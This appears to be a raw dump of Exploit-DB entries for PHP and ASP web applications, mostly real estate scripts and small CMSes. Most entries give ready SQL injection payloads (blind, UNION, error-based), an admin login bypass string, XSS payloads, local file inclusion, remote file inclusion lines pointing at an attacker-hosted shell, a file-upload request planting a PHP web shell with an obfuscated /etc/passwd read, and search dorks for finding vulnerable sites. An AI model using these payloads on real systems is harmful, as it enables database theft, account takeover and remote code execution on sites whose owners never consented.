deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43296
Description: Readymade Video Sharing Script 3.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Readymade Video Sharing Script 3.2 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/php-video-sharing-script/
# Version: 3.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/single-video-detail.php?video_id=MTMy&report_videos[]=[SQL]&report_submit=
# 
# http://server/single-video-detail.php?video_id=MTMy&report_videos[]='&report_submit=
# 
# Parameter: report_videos[] (GET)
#     Type: boolean-based blind
#     Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)
#     Payload: video_id=MTMy&report_videos[]=1' AND ELT(7764=7764,9174) AND 'BZFh'='BZFh&report_submit=
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: video_id=MTMy&report_videos[]=1' AND SLEEP(5) AND 'MRQT'='MRQT&report_submit=
# 	
# # # # #
Exploit-DB #13897
Description: Real Estate - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-16
Author: L0rd CrusAd3r

Exploit:
Description

Linux And window Version available:
This software is available in both windows and linux version. It runs on asp
and php extension.

Listings:
We can add unlimited property listing, with the property photo. System
automatically creates three thumbnail photo of the property. Which are
display in listing search result display, view details page and view full
image size page. ( click here for Thumbnail )

Listing Options:
Once viewing a property the visitor can contact the Listing poster and also
send a "Tell a Friend" note to his friends. Visitor can easily go to the
print page where they can easily print the printer friendly page.
( click here for Thumbnail )

Search Facility:
Our system search is very simple search. Visitor can give the min. and max
price , address e.t.c and search the listing.
( click here for Thumbnail )

Featured Properties:
Four Newly added listing will be displayed in the featured properties list.
You can copy and paste this code any where in your page to display the
result. The sample of the code is added in the user home page.
( click here for Thumbnail )<

Newsletter Signup:
Visitors can sign up to the newsletter by just filling up their names and
email address. System will only add new emails if notifies the visitors if
their email is already in system database.
( click here for Thumbnail )

Listing Control:
Admin and agents can login to the system and mange the listing. Admin can
edit/ delete all the listing while agents can only modify their own links.

Newsletter Manager:
Admin panel has full featured mailing list newsletter manager. Admin can
create unlimited mailing list and add unlimited email address to each
mailing list. System can send email in both HTML and plain format. Admin can
view preview of emails before sending them.
( click here for Thumbnail )

Email settings:
Admin can easily set the email like forget password email, subscription and
un subscription email, photo approved email , photo upload alert email and
many more. ( click here for Thumbnail )

Easy Setup:
Setting up this software is very easy. Just unzip the files and upload it to
your server. then just set one file and you are ready to go.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://[site]/realestate/list.asp?agent=[sqli]

http://[site]/realestate/viewphoto.asp?id=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #42167
Description: Real Estate Classifieds Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-12
Author: EziBilisim

Exploit:
# # # # #
# Exploit Title: Real Estate Classifieds Script - SQL Injection
# Dork: N/A
# Date: 12.06.2017
# Vendor : http://www.easyrealestatescript.com/
# Software: http://www.easyrealestatescript.com/demo.html
# Demo: http://www.easyrealestatescript.com/demo.html
# Version: N/A
# # # # #
# Author: EziBilisim
# Author Web: https://ezibilisim.com/
# Seo, Web tasarim, Web yazilim, Web guvenlik hizmetleri sunar.
# # # # #
# SQL Injection :
# http://localhost/[PATH]/site_search.php?s_purpose=[SQL]
# http://localhost/[PATH]/seller_listing_info_calendar_title.php?listing=&xmonth=[SQL]&xyear=[SQL]
# http://localhost/[PATH]/seller_listing_info_calendar_prev.php?listing=&xmonth=[SQL]&xyear=[SQL]
# http://localhost/[PATH]/seller_listing_info_calendar_next.php?listing=&xmonth=[SQL]&xyear=[SQL]
# http://localhost/[PATH]/seller_listing_info_calendar_big.php?listing=&xmonth=[SQL]&xyear=[SQL]
# # # # #
Exploit-DB #43942
Description: Real Estate Custom Script - 'route' SQL Injection
Type: webapps
Platform: php
Date: 2018-02-02
Author: 8bitsec

Exploit:
# Exploit Title: Real Estate Custom Script - 'route' SQL Injection
# Date: 2018-01-31
# Exploit Author: 8bitsec
# Vendor Homepage: https://codecanyon.net/
# Software Link: https://codecanyon.net/item/real-estate-custom-script/21268075
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.13.3]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2018-01-31

Product & Service Introduction:
===============================
Real Estate Custom Script is based on Custom PHP framework, Script was born to be ahead in innovation and at the peak of the real estate portal solutions.

Technical Details & Description:
================================

SQL injection on [route] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/index.php?route=property/category

Parameter: route (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: route=property/category'||(SELECT 'coKq' FROM DUAL WHERE 3062=3062 AND (SELECT 7059 FROM(SELECT COUNT(*),CONCAT(0x716a6a7671,(SELECT (ELT(7059=7059,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&filter_propertystatus=1&filter_propertycategory=63&filter_city=any&filter_address=any&filter_country_id=223&filter_zone_id=&filter_range=1;10&

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #34282
Description: Real Estate Manager 1.0.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-09
Author: bi0

Exploit:
source: https://www.securityfocus.com/bid/41507/info

Real Estate Manager is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Real Estate Manager 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?lang=[XSS]
Exploit-DB #42926
Description: Real Estate MLM plan script 1.0 - 'srch' SQL Injection
Type: webapps
Platform: php
Date: 2017-09-28
Author: 8bitsec

Exploit:
# Exploit Title: Real Estate MLM plan script v1.0 - 'srch' Parameter SQL Injection
# Date: 2017-09-28
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.mlmscript.in/
# Software Link: http://www.mlmscript.in/real-estate-mlm-script.html
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-28

Product & Service Introduction:
===============================
Real Estate MLM plan script we have used influential and having advanced secure database system here, that will help protect your user's sensitive details from outside attackers here we use newest technology to develop this Real Estate script.

Technical Details & Description:
================================

SQL injection on [srch] parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/product-list.php?srch=search AND 3233=3233 AND 'NeVc'='NeVc

Parameter: srch (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: srch=search' AND 3233=3233 AND 'NeVc'='NeVc

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #39855
Description: Real Estate Portal 4.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-05-26
Author: Bikramaditya Guha

Exploit:
Real Estate Portal v4.1 Remote Code Execution Vulnerability


Vendor: NetArt Media
Product web page: http://www.netartmedia.net
Affected version: 4.1

Summary: Real Estate Portal is a software written in PHP,
allowing you to launch powerful and professional looking
real estate portals with rich functionalities for the private
sellers, buyers and real estate agents to list properties
for sale or rent, search in the database, show featured
ads and many others. The private sellers can manage their
ads at any time through their personal administration space.

Desc: Real Estate Portal suffers from an arbitrary file upload
vulnerability leading to an arbitrary PHP code execution. The
vulnerability is caused due to the improper verification of
uploaded files in '/upload.php' script thru the 'myfile' POST
parameter. This can be exploited to execute arbitrary PHP code
by uploading a malicious PHP script file with '.php' extension
that will be stored in the '/uploads' directory. 

Tested on: nginx/1.10.0
           PHP/5.2.17
           MySQL/5.1.66


Vulnerability discovered by Bikramaditya Guha aka "PhoenixX"
                            @zeroscience


Advisory ID: ZSL-2016-5325
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5325.php


06.05.2016

---


1. Arbitrary File Upload:
-------------------------

Parameter: myfile (POST)
POC URL: http://localhost/uploads/Test.php?cmd=cat%20$%28echo%20L2V0Yy9wYXNzd2Q=%20|%20base64%20-d%29

POST /upload.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://localhost/USERS/index.php
Content-Length: 419
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]764
Cookie: PHPSESSID=7k4au5p4m0skscj4gjbfedfjs5; AuthU=demo%7Efe01ce2a7fbac8fafaed7c982a04e229%7E[PII_REDACTED]
Connection: close

----------------------------[PII_REDACTED]764
Content-Disposition: form-data; name="myfile"; filename="Test.php"
Content-Type: image/jpeg

<?php
system($_GET['cmd']); 
?>

----------------------------[PII_REDACTED]764
Content-Disposition: form-data; name=""

undefined
----------------------------[PII_REDACTED]764
Content-Disposition: form-data; name=""

undefined
----------------------------[PII_REDACTED]764--



2. Persistent Cross Site Scripting:
-----------------------------------

http://localhost/USERS/index.php
Parameters: title, html, headline, size, youtube_id, address, latitude, longitude, user_first_name, user_last_name, agency, user_phone, user_email, website (POST)
Payload: " onmousemove=alert(1)
Exploit-DB #10361
Description: Real Estate Portal X.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-12-09
Author: AnTi SeCuRe

Exploit:
###############################
Real Estate Portal X.0 (Auth Bypass) Remote Sql Injection
Author : AnTi SeCuRe
Email : AnTi-SeCuRe@HoTMaiL.CoM
TeaM : SauDi ViRuS TeaM
Site : WwW.VxX9.Cc
###############################

~ Note :Its Not Free .. Its By : $199.00
~ IF You Want To Buy It : http://www.netartmedia.net/en_Pricing.html

[~] Demo : http://www.site.com/realestate20/
[~] username: admin' or '1=1
[~] password: Anti


[~] Thanks To : Allah

~ Greets : RENO , Dr.php , Jetli007 , Gov.Hacker , ! BaD BoY ! , TeaM SauDi ViRuS , All Members Of vxx9.cc , Tryag.cc
Exploit-DB #6736
Description: Real Estate Scripts 2008 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-12
Author: Hakxer

Exploit:
###############################################################################################
# Author : EgY Coders TM < Hakxer>
# Home : Www.educ-up.com
# Type Gap : SQL INJECTION
# script : Real-Estate-Scripts [see script] http://www.real-estate-scripts.com/demo.html
# Greetz : Allah , Egyptian x Hacker , Soufiane , Sinaritx , SQL_inj4ct0r , Stealth , Kof2002 ,Bright D@rk
#################################################################################################
####### [+] Bug in : index.php 
### POC
      http://www.site.com/real-estate/index.php?cat=-5+UNION+SELECT+@@version,2,3/*
	  http://www.site.com/real-estate/index.php?cat=-5+UNION+SELECT+user(),2,3/*
### Exploit
         [+] Get User 
# [+] http://www.real-estate-scripts.com/real-estate/index.php?cat=-5+UNION+SELECT+admin_email,2,3+from+ovi_anuntgratis.class_settings/*
         [+] Get Database Name
# [+] http://www.real-estate-scripts.com/real-estate/index.php?cat=-5+UNION+SELECT+database(),2,3/*

# [+] HaVe Fun .. ;


###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-12]
Exploit-DB #11325
Description: RealAdmin - 'detail.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-02-03
Author: AtT4CKxT3rR0r1ST

Exploit:
RealAdmin (detail.php) Blind Sql Injection Vulnerability
========================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : RealAdmin
.:. Download Script: http://www.redcow.ca/products/realadmin/
.:. Bug Type       : Blind Sql Injection
.:. Dork           : "Powered by RealAdmin and Red Cow Technologies, Inc."

####################################################################

===[ Exploit ]===

www.site.com/detail.php?id=[Blind SQL INJECTION]


www.site.com/detail.php?id=NULL+and+1=1       >>> True
www.site.com/detail.php?id=NULL+and+1=2       >>> False


www.site.com/detail.php?id=NULL+and+substring(@@version,1,1)=5  >>> True
www.site.com/detail.php?id=NULL+and+substring(@@version,1,1)=4  >>> False


####################################################################

Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack
Exploit-DB #43239
Description: Realestate Crowdfunding Script 2.7.2 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Realestate Crowdfunding Script 2.7.2 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/realestate-crowdfunding-script/
# Demo: http://thavasu.com/demo/crowdfunding/
# Version: 2.7.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/single-cause.php?pid=[SQL]
# 
# -23'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51))--+-
# 
# http://server/single-cause.php?pid=-23'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51))--+- 
# 
# # # # #
Exploit-DB #9313
Description: Really Simple CMS 0.3a - 'PT' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-07-30
Author: SirGod

Exploit:
###########################################################################################
[+] Really Simple CMS 0.3a (pagecontent.php PT) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Download : http://sourceforge.net/projects/rscms/

[+] Local File Inclusion

 - Vulnerable code in plugings/pagecontent.php

-----------------------------------
if (!$PT) {
	$PT = 'text';
}
$PTF = "plugings/";
$PTF .= $PT;
$PTF .= ".php";


require_once($PTF);
-----------------------------------

 - PoC

    http://127.0.0.1/[path]/plugings/pagecontent.php?PT=../../../../../../../boot.ini%00

############################################################################################

# milw0rm.com [2009-07-30]
Exploit-DB #3641
Description: Really Simple PHP and Ajax (RSPA) 2007-03-23 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-02
Author: Hamid Ebadi

Exploit:
RSPA Remote File Inclusion

Really Simple PHP and Ajax (RSPA)
RSPA is a component based event driven ajax enabled framework for PHP4 and PHP 5. It is a combination of plane PHP class and HTML/Javascript.RSPA allows calling server side PHP functions from client javascript events. Visit http://rspa.sourceforge.net

Credit:
The information has been provided by Hamid Ebadi
The original article can be found at : http://www.bugtraq.ir

http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6

Vulnerable Systems:
Version: rspa-2007-03-23

Description:
Input passed to the" __IncludeFilePHPClass ", " __ClassPath" and " __class" parameters in "rspa/framework/Controller_v5.php" and " rspa/framework/Controller_v4.php " is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources.


read more about file inclusion in http://www.bugtraq.ir/articles

Vulnerable Code :
require_once("rspaconf.inc.php");

	$className = $_REQUEST['__class'];
	$methordName =  $_REQUEST['__methord'];

	// IncludeFile for PHP Class
		if ($_REQUEST['__IncludeFilePHPClass']){
			$filename = $_REQUEST['__IncludeFilePHPClass'];
			require_once ($filename);
		}

	// Parms
		if (isset($_REQUEST['__parameters'])){$parameter = getParms($_REQUEST['__parameters']);}else{$parameter="";}

	// ClassFile + ClassPath
		include ("../components/Form.class.php");
	 	if ($_REQUEST["__ClassPath"]=="null" || empty($_REQUEST["__ClassPath"])){
	 		$filename = $RSPA['class_folder'].$className.$RSPA['class_extension'];
	 	}else{
	 		$filename = $_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
	 	}
	 	require_once($filename);



POC exploit :
The following URL will cause remote file inclusion

http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://attacker/phpshell.txt/?
http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://attacker/phpshell.txt/?

[ http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6 ]

# copyright : http://www.bugtraq.ir

# milw0rm.com [2007-04-02]
Exploit-DB #17206
Description: Realmarketing CMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-04-22
Author: ^Xecuti0N3r

Exploit:
#(+)Exploit Title: Realmarketing CMS System Sensitive Database Disclosure Vulnerability
#(+)Author   : ^Xecuti0n3r
#(+) Date    : 22.04.2011
#(+) Hour    : 13:37 PM
#(+) E-mail  :  xecuti0n3r()yahoo.com
#(+) dork    : intext:realweb.de inurl:default.php
#(+) Category  : Web Apps [SQli]
 
____________________________________________________________________
____________________________________________________________________
 
Choose any site that comes up when you enter the dork intext:"intext:realweb.de inurl:default.php" in search engine
 
 
    *SQL injection Vulnerability*

#      [+]http://site.com/default.php?id='125
#      [+]http://site.com/default.php?id=[SQLI]
#      [+]http://site.com/default.php?content='2485
#      [+]http://site.com/default.php?content=[SQLI]
#      [+]http://site.com/default.php?portalID='68
#      [+]http://site.com/default.php?portalID=[SQLI]
#      [+]http://site.com/default.php?&id='121
#      [+]http://site.com/default.php?&id=[SQLI] 
____________________________________________________________________
____________________________________________________________________
 
########################################################################
(+)Exploit Coded by: ^Xecuti0n3r
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r, aNnIh!LatioN3r
########################################################################
Exploit-DB #7743
Description: Realtor 747 - 'define.php?INC_DIR' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-01-12
Author: ahmadbady

Exploit:
         -----------------:Remote File Include:-----------------
              -------------------------------------------------------


script:realtor747 Version 4.11
   
------------------------------------------------------------------
download from:http://www.it747.com/realtor747/intro/trial/realtor747-v4-11-trial.zip
   
------------------------------------------------------------------

.......................................................
vul:/include/define.php line 51:

require_once( "$INC_DIR/define_area.php" );

------------------------------------------------------

dork:"REALTOR 747 - Version 4.11"
-----------------------------------------------------

xpl:

http://127.0.0.1/path/include/define.php?INC_DIR=[shell.txt?]


***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady   [kivi_hacker666@yahoo.com]
---------------------------------------------------

# milw0rm.com [2009-01-12]